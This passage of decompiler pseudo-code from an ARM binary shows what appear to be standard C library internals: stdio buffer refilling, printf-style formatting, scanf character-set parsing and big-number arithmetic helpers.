v3 = *(_DWORD *)(v1 + 8);
v4 = *(_DWORD *)(v1 + 4);
while ( 1 )
{
--v4;
if ( v4 < 0 )
break;
if ( *(_WORD *)(v3 + 12) )
v2 |= v6(v3);
v3 += 84;
}
v1 = *(_DWORD *)v1;
}
while ( v1 );
return v2;
}
// 19040: using guessed type void *off_19040;
// 19044: using guessed type int dword_19044;
//----- (000190DC) --------------------------------------------------------
signed int __fastcall sub_190DC(int a1)
{
int v1; // r4@1
__int16 v2; // r3@3
__int16 v3; // r3@9
int v4; // r0@11
int v5; // r1@14
int v6; // r3@15
int v7; // r2@20
int (__fastcall *v8)(_DWORD); // r3@20
int v9; // r0@20
__int16 v10; // r5@20
__int16 v11; // r2@20
__int16 v12; // r2@20
signed __int16 v13; // r3@21
v1 = a1;
if ( !**(_DWORD **)((char *)off_191B4 + dword_191B8 + 102632) )
sub_18D40();
v2 = *(_WORD *)(v1 + 12);
*(_DWORD *)(v1 + 4) = 0;
if ( v2 & 0x20 )
return -1;
if ( v2 & 4 )
{
v4 = **(_DWORD **)(v1 + 48);
if ( v4 )
{
if ( v4 != v1 + 64 )
sub_1FDA0();
v5 = *(_DWORD *)(v1 + 60);
**(_DWORD **)(v1 + 48) = 0;
*(_DWORD *)(v1 + 4) = v5;
if ( v5 )
{
v6 = 0;
*(_DWORD *)v1 = *(_DWORD *)(v1 + 56);
return v6;
}
}
}
else
{
if ( !(v2 & 0x10) )
{
*(_DWORD *)sub_1FD74() = 9;
*(_WORD *)(v1 + 12) |= 0x40u;
return -1;
}
if ( v2 & 8 )
{
if ( sub_18C08(v1) )
return -1;
v3 = *(_WORD *)(v1 + 12);
*(_DWORD *)(v1 + 8) = 0;
*(_DWORD *)(v1 + 24) = 0;
*(_WORD *)(v1 + 12) = v3 & 0xFFF7;
}
*(_WORD *)(v1 + 12) |= 4u;
}
if ( !*(_DWORD *)(v1 + 16) )
sub_20498(v1);
if ( *(_WORD *)(v1 + 12) << 30 )
sub_19008((int (__fastcall *)(_DWORD))((char *)off_191BC + 102780));
v7 = *(_DWORD *)(v1 + 20);
v8 = *(int (__fastcall **)(_DWORD))(v1 + 36);
*(_DWORD *)v1 = *(_DWORD *)(v1 + 16);
v9 = v8(*(_DWORD *)(v1 + 28));
v10 = (signed __int16)off_191C0;
v11 = *(_WORD *)(v1 + 12);
*(_DWORD *)(v1 + 4) = v9;
v6 = 0;
v12 = v11 & v10;
*(_WORD *)(v1 + 12) = v12;
if ( v9 <= 0 )
{
v13 = 32;
if ( v9 )
{
*(_DWORD *)(v1 + 4) = 0;
v13 = 64;
}
*(_WORD *)(v1 + 12) = v12 | v13;
return -1;
}
return v6;
}
// 191B4: using guessed type void *off_191B4;
// 191B8: using guessed type int dword_191B8;
// 191BC: using guessed type void *off_191BC;
// 191C0: using guessed type void *off_191C0;
//----- (0001943C) --------------------------------------------------------
int __fastcall sub_1943C(int a1, int a2, int a3, int a4, int a5, int (*a6)(void))
{
int v6; // r4@0
*(_DWORD *)(v6 + 80) = a4;
return a6();
}
//----- (00019ADC) --------------------------------------------------------
signed int __fastcall sub_19ADC(signed int a1, int a2)
{
int v2; // r4@1
signed int result; // r0@2
v2 = a2;
if ( *(_DWORD *)(a2 + 8) )
{
result = sub_201B0(a1, a2);
*(_DWORD *)(v2 + 8) = 0;
*(_DWORD *)(v2 + 4) = 0;
}
else
{
*(_DWORD *)(a2 + 4) = 0;
result = 0;
}
return result;
}
//----- (00019AFC) --------------------------------------------------------
int __fastcall sub_19AFC(signed int a1, int a2, int a3)
{
int v3; // r5@1
__int16 v4; // r3@1
int i; // r7@9
char *v6; // r6@15
int v7; // r3@21
int v23; // r1@57
int v24; // r2@57
int v25; // r3@57
signed int v33; // r0@63
int v54; // r2@73
int v68; // r2@89
signed int v76; // r3@99
__int16 v77; // r6@110
int result; // r0@112
signed int v84; // [sp+24h] [bp-274h]@11
signed int v85; // [sp+2Ch] [bp-26Ch]@1
int v88; // [sp+3Ch] [bp-25Ch]@8
int v89; // [sp+48h] [bp-250h]@4
int v90; // [sp+64h] [bp-234h]@1
char *v91; // [sp+68h] [bp-230h]@1
char *v93; // [sp+74h] [bp-224h]@8
int v94; // [sp+84h] [bp-214h]@8
int v95; // [sp+88h] [bp-210h]@16
char v96; // [sp+8Ch] [bp-20Ch]@16
char v97; // [sp+C4h] [bp-1D4h]@108
int *v98; // [sp+E4h] [bp-1B4h]@8
signed int v99; // [sp+E8h] [bp-1B0h]@8
int v100; // [sp+ECh] [bp-1ACh]@8
int v102; // [sp+108h] [bp-190h]@8
int v103; // [sp+110h] [bp-188h]@8
char v105; // [sp+11Fh] [bp-179h]@21
char v106; // [sp+120h] [bp-178h]@24
int v107; // [sp+27Ch] [bp-1Ch]@1
v91 = (char *)off_19E40 + 105224;
v3 = a3;
v90 = a2;
v85 = a1;
v107 = **(_DWORD **)((char *)off_19E40 + dword_19E44 + 105224);
v4 = *(_WORD *)(a1 + 12);
if ( v4 & 8 && *(_DWORD *)(a1 + 16) || !sub_1B7D0(a1) )
{
if ( (*(_WORD *)(v85 + 12) & 0x1A) != 10 || (signed int)*(_WORD *)(v85 + 14) < 0 )
{
v100 = 0;
v99 = 0;
v102 = v3;
v88 = v90;
v103 = 0;
v98 = &v94;
v89 = 0;
v93 = (char *)off_19E48 + 105350;
while ( 1 )
{
for ( i = v88; *(_BYTE *)i; ++i )
{
if ( *(_BYTE *)i == 37 )
{
v84 = 1;
goto LABEL_15;
}
}
v84 = -1;
LABEL_15:
v6 = (char *)&v94;
if ( i != v88 )
{
v6 = &v96;
v95 = i - v88;
v94 = v88;
v100 += i - v88;
++v99;
if ( v99 > 7 )
{
if ( sub_19ADC(v85, (int)&v98) )
goto LABEL_107;
v6 = (char *)&v94;
}
v89 += i - v88;
}
if ( v84 != 1 )
break;
v105 = 0;
v7 = *(_BYTE *)(i + 1);
if ( (unsigned int)(v7 - 32) <= 0x5A )
JUMPOUT(__CS__, &v93[*(_DWORD *)&v93[4 * (v7 - 32)]]);
v88 = i + 2;
if ( !*(_BYTE *)(i + 1) )
break;
v106 = v7;
v105 = 0;
if ( v105 )
{
*(_DWORD *)v6 = &v105;
*((_DWORD *)v6 + 1) = 1;
++v100;
v6 += 8;
++v99;
if ( v99 > 7 )
{
if ( sub_19ADC(v85, (int)&v98) )
goto LABEL_107;
v6 = (char *)&v94;
}
}
v23 = (int)&v98;
*((_DWORD *)v6 + 1) = 1;
v24 = v100;
*(_DWORD *)v6 = &v106;
v25 = v24 + 1;
v68 = *(_DWORD *)(v23 + 4);
*(_DWORD *)(v23 + 8) = v25;
v54 = v68 + 1;
*(_DWORD *)(v23 + 4) = v54;
if ( v54 > 7 )
{
v33 = v85;
if ( sub_19ADC(v33, v23) )
goto LABEL_107;
}
v76 = 1;
v89 += v76;
if ( v100 )
{
if ( sub_19ADC(v85, (int)&v98) )
goto LABEL_107;
}
v99 = 0;
}
if ( !v100 || !sub_19ADC(v85, (int)&v98) )
v99 = 0;
LABEL_107:
if ( v103 && (char *)v103 != &v97 )
{
sub_D66C(v103);
v103 = 0;
}
v77 = *(_WORD *)(v85 + 12);
if ( v77 & 0x40 )
v89 = -1;
}
else
{
v89 = sub_1ADCC(v85, v90, v3);
}
}
else
{
*(_DWORD *)sub_1FD74() = 9;
v89 = -1;
}
result = v89;
if ( v107 != **(_DWORD **)&v91[dword_1AD54] )
result = ((int (__fastcall *)(int))loc_1E9B0)(v89);
return result;
}
// 19E40: using guessed type void *off_19E40;
// 19E44: using guessed type int dword_19E44;
// 19E48: using guessed type void *off_19E48;
// 1A630: using guessed type void *off_1A630;
// 1AD54: using guessed type int dword_1AD54;
//----- (0001ADCC) --------------------------------------------------------
int __fastcall sub_1ADCC(int a1, int a2, int a3)
{
char *v3; // r6@1
int v4; // r5@1
__int16 v5; // r7@1
int v6; // r3@1
int v7; // r7@1
int v8; // r7@1
int result; // r0@6
int v10; // [sp+0h] [bp-480h]@1
char *v11; // [sp+4h] [bp-47Ch]@1
signed int v12; // [sp+Ch] [bp-474h]@1
__int16 v13; // [sp+10h] [bp-470h]@1
__int16 v14; // [sp+12h] [bp-46Eh]@1
char *v15; // [sp+14h] [bp-46Ch]@1
signed int v16; // [sp+18h] [bp-468h]@1
int v17; // [sp+1Ch] [bp-464h]@1
int v18; // [sp+20h] [bp-460h]@1
int v19; // [sp+30h] [bp-450h]@1
int *v20; // [sp+34h] [bp-44Ch]@1
int v21; // [sp+58h] [bp-428h]@1
int v22; // [sp+5Ch] [bp-424h]@1
char v23; // [sp+64h] [bp-41Ch]@1
v3 = (char *)off_1AE58 + 110040;
v4 = a1;
*(int *)((char *)&v10 + dword_1AE64) = **(_DWORD **)((char *)off_1AE58 + dword_1AE5C + 110040);
v21 = 0;
v22 = 0;
v20 = &v21;
v13 = *(_WORD *)(a1 + 12) & 0xFFFD;
v5 = *(_WORD *)(a1 + 14);
v6 = *(_DWORD *)(a1 + 28);
v17 = 0;
v14 = v5;
v7 = *(_DWORD *)(a1 + 44);
v18 = v6;
v19 = v7;
v11 = &v23;
v15 = &v23;
v12 = 1024;
v16 = 1024;
v8 = sub_19AFC((signed int)&v11, a2, a3);
if ( v8 >= 0 && sub_18C54((int)&v11) )
v8 = -1;
if ( v13 & 0x40 )
*(_WORD *)(v4 + 12) |= 0x40u;
result = v8;
if ( *(int *)((char *)&v10 + dword_1AE64) != **(_DWORD **)&v3[dword_1AE5C] )
result = ((int (__fastcall *)(int))loc_1E9B0)(v8);
return result;
}
// 1AE58: using guessed type void *off_1AE58;
// 1AE5C: using guessed type int dword_1AE5C;
// 1AE64: using guessed type int dword_1AE64;
//----- (0001AE6C) --------------------------------------------------------
int __fastcall sub_1AE6C(int a1, int a2)
{
signed int v2; // r2@1
int v3; // r3@1
signed int v4; // r4@1
int result; // r0@1
int v6; // r1@3
int v7; // r4@7
signed int v8; // r1@9
signed int v9; // r1@13
v2 = *(_BYTE *)a2;
v3 = a1;
v4 = 0;
result = a2 + 1;
if ( v2 == 94 )
{
v2 = *(_BYTE *)(a2 + 1);
result = a2 + 2;
v4 = 1;
}
v6 = 0;
do
*(_BYTE *)(v3 + v6++) = v4;
while ( v6 != 256 );
if ( v2 )
{
v7 = (1 - v4) & 0xFF;
LABEL_8:
while ( 2 )
{
*(_BYTE *)(v3 + v2) = v7;
while ( 1 )
{
v8 = *(_BYTE *)result;
if ( v8 != 45 )
break;
v9 = *(_BYTE *)(result + 1);
if ( v9 < v2 || v9 == 93 )
{
++result;
v2 = 45;
goto LABEL_8;
}
result += 2;
do
{
++v2;
*(_BYTE *)(v3 + v2) = v7;
}
while ( v2 < v9 );
}
if ( v8 == 93 )
{
++result;
}
else if ( *(_BYTE *)result )
{
++result;
v2 = v8;
continue;
}
break;
}
}
else
{
--result;
}
return result;
}
//----- (0001B7D0) --------------------------------------------------------
signed int __fastcall sub_1B7D0(signed int a1)
{
signed int v1; // r4@1
__int16 v2; // r3@3
int v3; // r0@6
int v4; // r1@10
__int16 v5; // r2@15
int v6; // r1@16
int v7; // r3@17
v1 = a1;
if ( !**(_DWORD **)((char *)off_1B868 + dword_1B86C + 112604) )
sub_18D40();
v2 = *(_WORD *)(v1 + 12);
if ( !(v2 & 8) )
{
if ( !(v2 & 0x10) )
return -1;
if ( v2 & 4 )
{
v3 = **(_DWORD **)(v1 + 48);
if ( v3 )
{
if ( v3 != v1 + 64 )
sub_1FDA0();
**(_DWORD **)(v1 + 48) = 0;
}
v4 = *(_DWORD *)(v1 + 16);
*(_WORD *)(v1 + 12) &= 0xFFDBu;
*(_DWORD *)(v1 + 4) = 0;
*(_DWORD *)v1 = v4;
}
*(_WORD *)(v1 + 12) |= 8u;
}
if ( !*(_DWORD *)(v1 + 16) )
{
if ( (*(_WORD *)(v1 + 12) & 0x4200) != 512 )
{
sub_20498(v1);
goto LABEL_15;
}
return -1;
}
LABEL_15:
v5 = *(_WORD *)(v1 + 12);
if ( v5 & 1 )
{
v6 = *(_DWORD *)(v1 + 20);
*(_DWORD *)(v1 + 8) = 0;
*(_DWORD *)(v1 + 24) = -v6;
}
else
{
v7 = 0;
if ( !(v5 & 2) )
v7 = *(_DWORD *)(v1 + 20);
*(_DWORD *)(v1 + 8) = v7;
}
return 0;
}
// 1B868: using guessed type void *off_1B868;
// 1B86C: using guessed type int dword_1B86C;
//----- (0001B870) --------------------------------------------------------
int __fastcall sub_1B870(int a1)
{
int result; // r0@1
char *v2; // r5@1
int v3; // r6@1
int *v4; // r7@4
int v5; // r4@4
unsigned int v6; // r0@8
int v7; // r2@8
int v8; // r3@8
int v9; // [sp+Ch] [bp-1Ch]@1
v9 = a1;
result = dword_1B920;
v2 = (char *)off_1B91C + 112766;
v3 = **(_DWORD **)((char *)off_1B91C + dword_1B920 + 112766);
if ( v3 > 23 )
{
if ( **(_DWORD **)&v2[dword_1B924] )
sub_1ECD4();
v4 = *(int **)&v2[dword_1B928];
v5 = *v4;
if ( *v4 )
{
while ( *(_DWORD *)v5 )
v5 = *(_DWORD *)v5;
result = sub_E6EC(v5);
if ( result )
goto LABEL_11;
}
else
{
result = sub_18964(0, v3, 3, 34, -1, 0);
v5 = result;
if ( result == -1 )
goto LABEL_11;
*(_DWORD *)(result + 4) = 1;
v6 = sub_E91C(v3 - 12, 0xCu);
v7 = dword_1B92C;
*(_DWORD *)v5 = 0;
v8 = *(_DWORD *)&v2[v7];
*(_DWORD *)(v5 + 8) = v6;
*v4 = v5;
if ( *(_DWORD *)v8 )
*(_DWORD *)v8 = 0;
}
*(_DWORD *)(v5 + 16) = 0;
*(_DWORD *)(v5 + 12) = v9;
*(_DWORD *)(v5 + 20) = 0;
result = sub_E6EC(v5);
LABEL_11:
if ( **(_DWORD **)&v2[dword_1B924] )
result = sub_1ECC4();
}
return result;
}
// 1B91C: using guessed type void *off_1B91C;
// 1B920: using guessed type int dword_1B920;
// 1B924: using guessed type int dword_1B924;
// 1B928: using guessed type int dword_1B928;
// 1B92C: using guessed type int dword_1B92C;
//----- (0001BDE4) --------------------------------------------------------
signed int __fastcall sub_1BDE4(unsigned int a1)
{
unsigned int v1; // r2@1
unsigned int v2; // r3@1
signed int result; // r0@1
v1 = a1 >> 16;
v2 = a1;
result = 0;
if ( !v1 )
{
v2 <<= 16;
result = 16;
}
if ( !(v2 >> 24) )
{
result += 8;
v2 <<= 8;
}
if ( !(v2 >> 28) )
{
result += 4;
v2 *= 16;
}
if ( !(v2 >> 30) )
{
result += 2;
v2 *= 4;
}
if ( (v2 & 0x80000000) == 0 )
{
++result;
if ( !(v2 & 0x40000000) )
result = 32;
}
return result;
}
//----- (0001BE20) --------------------------------------------------------
signed int __fastcall sub_1BE20(unsigned int *a1)
{
unsigned int v1; // r3@1
signed int v2; // r2@2
v1 = *a1;
if ( *a1 << 29 )
{
v2 = 0;
if ( !(v1 & 1) )
{
if ( v1 & 2 )
{
*a1 = v1 >> 1;
v2 = 1;
}
else
{
*a1 = v1 >> 2;
v2 = 2;
}
}
}
else
{
v2 = 0;
if ( !(v1 << 16) )
{
v1 >>= 16;
v2 = 16;
}
if ( !(unsigned __int8)v1 )
{
v2 += 8;
v1 >>= 8;
}
if ( !(v1 << 28) )
{
v2 += 4;
v1 >>= 4;
}
if ( !(v1 << 30) )
{
v2 += 2;
v1 >>= 2;
}
if ( v1 & 1 || (v1 >>= 1, ++v2, v1) )
*a1 = v1;
else
v2 = 32;
}
return v2;
}
//----- (0001BE7C) --------------------------------------------------------
signed int __fastcall sub_1BE7C(int a1, int a2)
{
int v2; // r3@1
unsigned int v3; // r3@2
signed int result; // r0@3
int v5; // r3@4
signed int v6; // r2@4
v2 = (dword_1BEB8 & a2) + dword_1BEBC;
if ( v2 <= 0 && (v3 = (unsigned int)-v2 >> 20, (signed int)v3 > 19) )
{
v5 = v3 - 20;
v6 = 1;
if ( v5 <= 30 )
v6 = 1 << (31 - v5);
result = v6;
}
else
{
result = 0;
}
return result;
}
// 1BEB8: using guessed type int dword_1BEB8;
// 1BEBC: using guessed type int dword_1BEBC;
//----- (0001BEC4) --------------------------------------------------------
__int64 __fastcall sub_1BEC4(int a1, int a2)
{
int v2; // r7@1
__int64 result; // r0@2
int v4; // r6@3
unsigned int *v5; // r4@3
unsigned int v6; // r5@3
signed int v7; // r0@3
__int64 v8; // r2@4
unsigned int v9; // r7@4
unsigned int v10; // r1@7
int v11; // r0@9
unsigned int v12; // r5@10
v2 = a2;
if ( (void *)a1 == (char *)off_1BF6C + 114382 )
{
result = qword_1BF64;
}
else
{
v4 = a1 + 20;
v5 = (unsigned int *)(a1 + 4 * (*(_DWORD *)(a1 + 16) + 4));
v6 = *v5;
v7 = sub_1BDE4(*v5);
*(_DWORD *)v2 = 32 - v7;
if ( v7 > 10 )
{
v10 = 0;
if ( v4 < (unsigned int)v5 )
{
--v5;
v10 = *v5;
}
v11 = v7 - 11;
if ( v11 )
{
HIDWORD(v8) = (v6 << v11) | dword_1BF70 | (v10 >> (32 - v11));
v12 = 0;
if ( (unsigned int)v5 > v4 )
v12 = *(v5 - 1);
LODWORD(v8) = (v12 >> (32 - v11)) | (v10 << v11);
}
else
{
LODWORD(v8) = v10;
HIDWORD(v8) = v6 | dword_1BF70;
}
}
else
{
HIDWORD(v8) = (v6 >> (11 - v7)) | dword_1BF70;
v9 = 0;
if ( (unsigned int)v5 > v4 )
v9 = *(v5 - 1);
LODWORD(v8) = (v9 >> (11 - v7)) | (v6 << (v7 + 21));
}
result = v8;
}
return result;
}
// 1BF64: using guessed type __int64 qword_1BF64;
// 1BF6C: using guessed type void *off_1BF6C;
// 1BF70: using guessed type int dword_1BF70;
//----- (0001BF74) --------------------------------------------------------
void __fastcall sub_1BF74(int a1, void *a2)
{
int v2; // r4@1
int v3; // r5@1
__int64 v4; // r6@3
unsigned int v5; // r3@3
__int64 v6; // r0@3
int v7; // [sp+0h] [bp-20h]@3
int v8; // [sp+4h] [bp-1Ch]@3
v2 = a1;
v3 = (int)a2;
if ( (void *)a1 != (char *)off_1BFDC + 114560 && a2 != (char *)off_1BFDC + 114560 )
{
v4 = sub_1BEC4(a1, (int)&v8);
v6 = sub_1BEC4(v3, (int)&v7);
v5 = HIDWORD(v6);
HIDWORD(v6) = v8 - v7 + 32 * (*(_DWORD *)(v2 + 16) - *(_DWORD *)(v3 + 16));
if ( v6 <= 0 )
v5 -= HIDWORD(v6) << 20;
else
HIDWORD(v4) += HIDWORD(v6) << 20;
sub_F0FC(v4, SHIDWORD(v4), v6, v5);
}
}
// 1BFDC: using guessed type void *off_1BFDC;
//----- (0001C184) --------------------------------------------------------
char *__fastcall sub_1C184(int a1)
{
int v1; // r6@1
char *v2; // r5@1
int v3; // r3@1
char *v4; // r4@1
int v5; // r0@3
v1 = a1;
v2 = (char *)off_1C1D0 + 115086;
sub_1F250((unsigned int *)((char *)off_1C1D0 + 115110));
v3 = (int)&v2[4 * v1];
v4 = *(char **)(v3 + 28);
if ( v4 )
{
*(_DWORD *)(v3 + 28) = *(_DWORD *)v4;
LABEL_6:
*((_DWORD *)v4 + 4) = 0;
*((_DWORD *)v4 + 3) = 0;
goto LABEL_7;
}
v5 = sub_1FD84();
v4 = (char *)v5;
if ( v5 )
{
*(_DWORD *)(v5 + 4) = v1;
*(_DWORD *)(v5 + 8) = 1 << v1;
goto LABEL_6;
}
v4 = v2;
LABEL_7:
sub_1F158((int)((char *)off_1C1D4 + 115168));
return v4;
}
// 1C1D0: using guessed type void *off_1C1D0;
// 1C1D4: using guessed type void *off_1C1D4;
//----- (0001C1D8) --------------------------------------------------------
char *__fastcall sub_1C1D8(int a1, int a2, int a3, int a4)
{
int v4; // r7@1
int v5; // r5@1
char *v6; // r4@1
int v7; // r2@2
signed int v8; // r0@5
unsigned int v9; // r2@6
int v10; // r6@8
signed int v11; // r6@8
signed int v12; // r0@9
int v13; // r2@9
int v15; // [sp+0h] [bp-28h]@1
unsigned int v16; // [sp+0h] [bp-28h]@2
int v17; // [sp+4h] [bp-24h]@1
int v18; // [sp+8h] [bp-20h]@2
int v19; // [sp+Ch] [bp-1Ch]@4
v15 = a1;
v17 = a2;
v4 = a4;
v5 = a3;
v6 = sub_1C184(1);
if ( v6 != (char *)off_1C28C + 115186 )
{
v7 = v15;
v18 = v17 & 0xFFFFF;
v16 = (unsigned int)(2 * v17) >> 21;
if ( v16 )
v18 = v17 & 0xFFFFF | 0x100000;
v19 = v7;
if ( v7 )
{
v8 = sub_1BE20((unsigned int *)&v19);
if ( v8 )
{
v9 = (unsigned int)v18 >> v8;
*((_DWORD *)v6 + 5) = v19 | (v18 << (32 - v8));
v18 = v9;
}
else
{
*((_DWORD *)v6 + 5) = v19;
}
v10 = v18;
*((_DWORD *)v6 + 6) = v18;
v11 = ((__PAIR__(v10, v10) - __PAIR__((unsigned int)(v10 - 1), 1)) >> 32) + 1;
*((_DWORD *)v6 + 4) = v11;
}
else
{
v12 = sub_1BE20((unsigned int *)&v18);
v13 = v18;
*((_DWORD *)v6 + 4) = 1;
*((_DWORD *)v6 + 5) = v13;
v8 = v12 + 32;
v11 = 1;
}
if ( v16 )
{
*(_DWORD *)v5 = v16 + dword_1C290 + v8;
*(_DWORD *)v4 = 53 - v8;
}
else
{
*(_DWORD *)v5 = v8 + dword_1C294;
*(_DWORD *)v4 = 32 * v11 - sub_1BDE4(*(_DWORD *)&v6[4 * (v11 + 3) + 4]);
}
}
return v6;
}
// 1C28C: using guessed type void *off_1C28C;
// 1C290: using guessed type int dword_1C290;
// 1C294: using guessed type int dword_1C294;
//----- (0001C298) --------------------------------------------------------
char *__fastcall sub_1C298(int a1, int a2)
{
int v2; // r4@1
int v3; // r5@1
int v4; // r6@5
int v5; // r7@5
int v6; // r0@5
char *result; // r0@7
int v8; // r2@8
int i; // r3@8
int v10; // r1@11
char *v11; // r12@11
int v12; // r5@12
int v13; // r4@13
int v14; // r3@13
unsigned int v15; // r0@13
unsigned int v16; // r6@14
unsigned int v17; // r7@14
unsigned int v18; // r6@14
int v19; // r6@16
unsigned int v20; // r4@17
int v21; // r5@17
int v22; // r3@17
unsigned int v23; // r0@18
unsigned int v24; // ST10_4@18
int v25; // r3@22
int v26; // [sp+Ch] [bp-34h]@5
unsigned int v27; // [sp+10h] [bp-30h]@17
int v28; // [sp+18h] [bp-28h]@11
int v29; // [sp+1Ch] [bp-24h]@11
int v30; // [sp+20h] [bp-20h]@8
int v31; // [sp+24h] [bp-1Ch]@11
v2 = a1;
v3 = a2;
if ( (void *)a1 == (char *)off_1C3F4 + 115364 || (void *)a2 == (char *)off_1C3F4 + 115364 )
{
result = (char *)off_1C3FC + 115696;
}
else
{
if ( *(_DWORD *)(a1 + 16) < *(_DWORD *)(a2 + 16) )
{
v2 = a2;
v3 = a1;
}
v4 = *(_DWORD *)(v2 + 16);
v5 = *(_DWORD *)(v3 + 16);
v6 = *(_DWORD *)(v2 + 4);
v26 = v5 + v4;
if ( v5 + v4 > *(_DWORD *)(v2 + 8) )
++v6;
result = sub_1C184(v6);
if ( result != (char *)off_1C3F8 + 115416 )
{
v8 = (int)(result + 20);
v30 = (int)&result[4 * (v26 + 4) + 4];
for ( i = (int)(result + 20); i < (unsigned int)v30; i += 4 )
*(_DWORD *)i = 0;
v28 = v2 + 20;
v29 = v2 + 4 * (v4 + 4) + 4;
v10 = v3 + 20;
v31 = v3 + 4 * (v5 + 4) + 4;
v11 = result;
while ( v10 < (unsigned int)v31 )
{
v12 = *(_WORD *)v10;
if ( *(_WORD *)v10 )
{
v13 = v28;
v14 = v8;
v15 = 0;
do
{
v16 = *(_DWORD *)v13;
v13 += 4;
v17 = v12 * (unsigned __int16)v16 + (*(_DWORD *)v14 & 0xFFFF) + v15;
*(_WORD *)v14 += v12 * v16 + v15;
v18 = v12 * (v16 >> 16) + (*(_DWORD *)v14 >> 16) + (v17 >> 16);
*(_WORD *)(v14 + 2) = v18;
v15 = v18 >> 16;
v14 += 4;
}
while ( v13 < (unsigned int)v29 );
*(_DWORD *)v14 = v15;
}
v19 = *(_WORD *)(v10 + 2);
if ( *(_WORD *)(v10 + 2) )
{
v20 = *(_DWORD *)v8;
v21 = v28;
v22 = v8;
v27 = 0;
do
{
v23 = *(_DWORD *)v21;
v21 += 4;
*(_WORD *)v22 = v20;
v24 = v19 * (unsigned __int16)v23 + *(_WORD *)(v22 + 2) + v27;
*(_WORD *)(v22 + 2) = v24;
v22 += 4;
v20 = v19 * (v23 >> 16) + *(_WORD *)v22 + (v24 >> 16);
v27 = v20 >> 16;
}
while ( v21 < (unsigned int)v29 );
*(_DWORD *)v22 = v20;
}
v10 += 4;
v8 += 4;
}
result = v11;
v25 = v30;
while ( v26 > 0 )
{
v25 -= 4;
if ( *(_DWORD *)v25 )
break;
--v26;
}
*((_DWORD *)v11 + 4) = v26;
}
}
return result;
}
// 1C3F4: using guessed type void *off_1C3F4;
// 1C3F8: using guessed type void *off_1C3F8;
// 1C3FC: using guessed type void *off_1C3FC;
//----- (0001C400) --------------------------------------------------------
char *__fastcall sub_1C400(int a1, int a2)
{
int v2; // r4@1
int v3; // r5@1
int v4; // r2@3
int v5; // r6@3
int v6; // r2@4
int v7; // r3@4
int v8; // r2@4
char *result; // r0@9
int v10; // r7@13
int v11; // r3@13
int v12; // r2@13
int v13; // r6@13
int v14; // r4@13
char *v15; // r5@13
unsigned int v16; // r1@13
int v17; // r2@13
int v18; // r4@13
int v19; // r3@13
int v20; // r0@13
char *v21; // r12@13
unsigned int v22; // r7@14
unsigned int v23; // r5@14
unsigned int v24; // r6@16
unsigned int v25; // r4@20
unsigned int v26; // r1@20
unsigned int v27; // r5@22
int v28; // r6@19
char *v29; // r4@19
unsigned int v30; // r12@19
int v31; // r1@19
unsigned int v32; // r7@19
int v33; // r12@19
int i; // r1@26
unsigned int v35; // [sp+4h] [bp-2Ch]@14
unsigned int v36; // [sp+Ch] [bp-24h]@14
int v37; // [sp+10h] [bp-20h]@13
int v38; // [sp+14h] [bp-1Ch]@13
v2 = a1;
v3 = a2;
if ( (void *)a1 == (char *)off_1C55C + 115724 || (void *)a2 == (char *)off_1C55C + 115724 )
{
result = (char *)off_1C56C + 116046;
}
else
{
v4 = *(_DWORD *)(a2 + 16);
v5 = *(_DWORD *)(a1 + 16) - v4;
if ( *(_DWORD *)(a1 + 16) == v4 )
{
v6 = 4 * (v4 + 4);
v7 = a1 + v6 + 4;
v8 = a2 + v6 + 4;
while ( 1 )
{
v7 -= 4;
v8 -= 4;
if ( *(_DWORD *)v7 != *(_DWORD *)v8 )
break;
if ( v7 <= (unsigned int)(a1 + 20) )
{
result = sub_1C184(0);
if ( result != (char *)off_1C560 + 115798 )
{
*((_DWORD *)result + 4) = 1;
*((_DWORD *)result + 5) = 0;
}
return result;
}
}
if ( *(_DWORD *)v7 < *(_DWORD *)v8 )
goto LABEL_11;
}
else if ( v5 < 0 )
{
LABEL_11:
v5 = 1;
v2 = a2;
v3 = a1;
}
else
{
v5 = 0;
}
result = sub_1C184(*(_DWORD *)(v2 + 4));
if ( result != (char *)off_1C564 + 115830 )
{
v10 = *(_DWORD *)(v2 + 16);
v11 = *(_DWORD *)(v3 + 16);
*((_DWORD *)result + 3) = v5;
v12 = v2;
v13 = v3 + 4 * (v11 + 4);
v38 = v2 + 4 * (v10 + 4) + 4;
v14 = v3;
v15 = result;
v16 = 0;
v17 = v12 + 20;
v18 = v14 + 20;
v37 = v13 + 4;
v19 = (int)(result + 20);
v20 = v10;
v21 = v15;
do
{
v22 = *(_DWORD *)v17;
v35 = *(_DWORD *)v18;
v23 = (*(_DWORD *)v17 & 0xFFFF) - (*(_DWORD *)v18 & 0xFFFF) + v16;
v36 = v23 >> 16;
if ( (v23 & 0x80000000) != 0 )
v36 = dword_1C568 | (v23 >> 16);
v17 += 4;
v18 += 4;
v24 = (v22 >> 16) - (v35 >> 16) + v36;
v16 = v24 >> 16;
if ( (v24 & 0x80000000) != 0 )
v16 = dword_1C568 | (v24 >> 16);
*(_WORD *)v19 = v23;
*(_WORD *)(v19 + 2) = v24;
v19 += 4;
}
while ( v18 < (unsigned int)v37 );
v28 = dword_1C568;
v29 = v21;
v30 = v16;
v31 = v20;
v32 = v30;
result = v29;
v33 = v31;
while ( v17 < (unsigned int)v38 )
{
v25 = v32 + (*(_DWORD *)v17 & 0xFFFF);
v26 = v25 >> 16;
if ( (v25 & 0x80000000) != 0 )
v26 |= v28;
v27 = v26 + (*(_DWORD *)v17 >> 16);
v17 += 4;
v32 = v27 >> 16;
if ( (v27 & 0x80000000) != 0 )
v32 |= v28;
*(_WORD *)(v19 + 2) = v27;
*(_WORD *)v19 = v25;
v19 += 4;
}
for ( i = v33; ; --i )
{
v19 -= 4;
if ( *(_DWORD *)v19 )
break;
}
*((_DWORD *)result + 4) = i;
}
}
return result;
}
// 1C55C: using guessed type void *off_1C55C;
// 1C560: using guessed type void *off_1C560;
// 1C564: using guessed type void *off_1C564;
// 1C568: using guessed type int dword_1C568;
// 1C56C: using guessed type void *off_1C56C;
//----- (0001C570) --------------------------------------------------------
signed int __fastcall sub_1C570(signed int result)
{
signed int v1; // r4@1
char *v2; // r5@2
int v3; // r6@3
int v4; // r5@3
v1 = result;
if ( result )
{
v2 = (char *)off_1C59C + 116092;
if ( (void *)result != (char *)off_1C59C + 116092 )
{
v3 = (int)((char *)off_1C59C + 116116);
sub_1F250((unsigned int *)off_1C59C + 29029);
v4 = (int)&v2[4 * *(_DWORD *)(v1 + 4)];
*(_DWORD *)v1 = *(_DWORD *)(v4 + 28);
*(_DWORD *)(v4 + 28) = v1;
result = sub_1F158(v3);
}
}
return result;
}
// 1C59C: using guessed type void *off_1C59C;
//----- (0001C5A0) --------------------------------------------------------
signed int __fastcall sub_1C5A0(signed int a1, unsigned int a2)
{
